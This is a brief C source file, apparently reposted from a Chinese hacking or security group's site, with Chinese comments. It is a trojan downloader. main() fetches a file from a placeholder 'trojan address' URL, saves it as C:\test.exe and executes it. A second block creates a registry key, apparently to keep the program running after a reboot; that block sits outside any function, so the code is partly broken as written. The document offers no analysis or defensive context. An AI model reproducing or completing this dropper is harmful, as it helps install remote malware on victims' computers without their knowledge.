#include<windows.h> #include<urlmon.h> //這個可以不要 #include<process.h> //這個可以不要 #include<Shellapi.h> //這個是對ShellExecute的定義 #pragma comment (lib,"Urlmon.lib") //這個也可以不要,有DLL可以用 /* step1. 下載程序 step2. 如果重開機 以上運行 */ //----------step 1------------- int main(){ //下載到C:\test.exe URLDownloadToFile(NULL,"木馬地址","C:\test.exe",0,NULL); //執行test.exe ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW); return 0; } //----------step 2------------- HKEY hKey; DWORD dw; DWORD dwData = 0; if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS) //如果存在 就執行下面代碼 { //RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey); RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw); //RegSetValueEx(hKey, "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD)); //file(); } else{ //file(); }
註: 本文轉載自網路 非原創
轉載自 邪惡八進制信息安全團隊